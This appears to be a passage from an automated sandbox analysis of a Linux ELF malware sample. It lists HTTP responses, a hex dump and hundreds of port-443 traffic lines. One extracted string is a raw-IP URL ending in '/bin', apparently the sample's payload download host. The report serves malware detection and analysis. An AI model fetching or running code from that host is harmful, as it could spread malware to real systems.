src="/_Incapsula_Resource?CWUDNSAI=5&xinfo=18-114171422-0%200NNN%20RT%281703177647029%200%29%20q%280%20-1%20-1%20-1%29%20r%280%20-1%29&incident_id=0-581625429113637522&edet=22&cinfo=ffffffff&rpinfo=0&mth=POST" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-581625429113637522</iframe></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 NOT FOUNDServer: gunicornDate: Thu, 21 Dec 2023 16:54:37 GMTConnection: closeContent-Type: text/html; charset=utf-8Content-Length: 462X-Robots-Tag: noindex, nofollowSet-Cookie: session=539e60ae-0cdf-4595-99c9-1f7737a01056.Ztq85Z6ehfelccRDoTSfs8FfFCI; Expires=Sat, 20 Jan 2024 16:54:37 GMT; HttpOnly; Path=/; SameSite=Lax
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailable.Content-length:0

Source: 4F5W85YGoU.elf

String found in binary or memory: http://45.142.182.103/bin

Source: unknown	Network traffic detected: HTTP traffic on port 57084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48366 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39500
Source: unknown	Network traffic detected: HTTP traffic on port 35262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41818
Source: unknown	Network traffic detected: HTTP traffic on port 49426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41814
Source: unknown	Network traffic detected: HTTP traffic on port 36166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41810
Source: unknown	Network traffic detected: HTTP traffic on port 47004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41806
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38210
Source: unknown	Network traffic detected: HTTP traffic on port 41914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38212
Source: unknown	Network traffic detected: HTTP traffic on port 53778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52510
Source: unknown	Network traffic detected: HTTP traffic on port 48558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41858
Source: unknown	Network traffic detected: HTTP traffic on port 44820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40522
Source: unknown	Network traffic detected: HTTP traffic on port 57264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52526
Source: unknown	Network traffic detected: HTTP traffic on port 37058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39532
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52522
Source: unknown	Network traffic detected: HTTP traffic on port 58590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40516
Source: unknown	Network traffic detected: HTTP traffic on port 53910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51206
Source: unknown	Network traffic detected: HTTP traffic on port 58348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51200
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39520
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39524
Source: unknown	Network traffic detected: HTTP traffic on port 57252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40506
Source: unknown	Network traffic detected: HTTP traffic on port 43988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41830
Source: unknown	Network traffic detected: HTTP traffic on port 46594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52548
Source: unknown	Network traffic detected: HTTP traffic on port 39816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39508
Source: unknown	Network traffic detected: HTTP traffic on port 57288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53802
Source: unknown	Network traffic detected: HTTP traffic on port 40854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39580
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38252
Source: unknown	Network traffic detected: HTTP traffic on port 55502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39584
Source: unknown	Network traffic detected: HTTP traffic on port 49618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38258
Source: unknown	Network traffic detected: HTTP traffic on port 46582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40568
Source: unknown	Network traffic detected: HTTP traffic on port 38106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41896
Source: unknown	Network traffic detected: HTTP traffic on port 58324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39572
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39576
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39578
Source: unknown	Network traffic detected: HTTP traffic on port 45244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38248
Source: unknown	Network traffic detected: HTTP traffic on port 35082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40558
Source: unknown	Network traffic detected: HTTP traffic on port 38396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41884
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53826
Source: unknown	Network traffic detected: HTTP traffic on port 51790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39566
Source: unknown	Network traffic detected: HTTP traffic on port 49078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40548
Source: unknown	Network traffic detected: HTTP traffic on port 39828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41878
Source: unknown	Network traffic detected: HTTP traffic on port 45712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40540
Source: unknown	Network traffic detected: HTTP traffic on port 54826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40542
Source: unknown	Network traffic detected: HTTP traffic on port 48546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53836
Source: unknown	Network traffic detected: HTTP traffic on port 42818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53838
Source: unknown	Network traffic detected: HTTP traffic on port 39432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38220
Source: unknown	Network traffic detected: HTTP traffic on port 33704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38222
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38224
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41866
Source: unknown	Network traffic detected: HTTP traffic on port 42422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41862
Source: unknown	Network traffic detected: HTTP traffic on port 36142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40532
Source: unknown	Network traffic detected: HTTP traffic on port 51536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38174
Source: unknown	Network traffic detected: HTTP traffic on port 44376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38178
Source: unknown	Network traffic detected: HTTP traffic on port 59878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52478
Source: unknown	Network traffic detected: HTTP traffic on port 56864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51152
Source: unknown	Network traffic detected: HTTP traffic on port 36514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52480
Source: unknown	Network traffic detected: HTTP traffic on port 53598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51150
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40486
Source: unknown	Network traffic detected: HTTP traffic on port 33970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40484
Source: unknown	Network traffic detected: HTTP traffic on port 33500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40488
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39490
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51158
Source: unknown	Network traffic detected: HTTP traffic on port 54442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51162
Source: unknown	Network traffic detected: HTTP traffic on port 41098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51160
Source: unknown	Network traffic detected: HTTP traffic on port 55034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40472
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40470
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38150
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38154
Source: unknown	Network traffic detected: HTTP traffic on port 35934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38156
Source: unknown	Network traffic detected: HTTP traffic on port 60638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38158
Source: unknown	Network traffic detected: HTTP traffic on port 51152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51168
Source: unknown	Network traffic detected: HTTP traffic on port 59854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40466
Source: unknown	Network traffic detected: HTTP traffic on port 40494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40460
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39470
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39472
Source: unknown	Network traffic detected: HTTP traffic on port 41086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39474
Source: unknown	Network traffic detected: HTTP traffic on port 53104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38148
Source: unknown	Network traffic detected: HTTP traffic on port 43796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51180
Source: unknown	Network traffic detected: HTTP traffic on port 34574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51184
Source: unknown	Network traffic detected: HTTP traffic on port 46786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41782
Source: unknown	Network traffic detected: HTTP traffic on port 53562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52438
Source: unknown	Network traffic detected: HTTP traffic on port 44160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51100
Source: unknown	Network traffic detected: HTTP traffic on port 60892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52432
Source: unknown	Network traffic detected: HTTP traffic on port 57420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52436
Source: unknown	Network traffic detected: HTTP traffic on port 41398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51102
Source: unknown	Network traffic detected: HTTP traffic on port 43518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53770
Source: unknown	Network traffic detected: HTTP traffic on port 50848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51118
Source: unknown	Network traffic detected: HTTP traffic on port 43760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53774
Source: unknown	Network traffic detected: HTTP traffic on port 44352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52440
Source: unknown	Network traffic detected: HTTP traffic on port 39264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51110
Source: unknown	Network traffic detected: HTTP traffic on port 47666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52444
Source: unknown	Network traffic detected: HTTP traffic on port 54466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52450
Source: unknown	Network traffic detected: HTTP traffic on port 39804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51128
Source: unknown	Network traffic detected: HTTP traffic on port 40470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52452
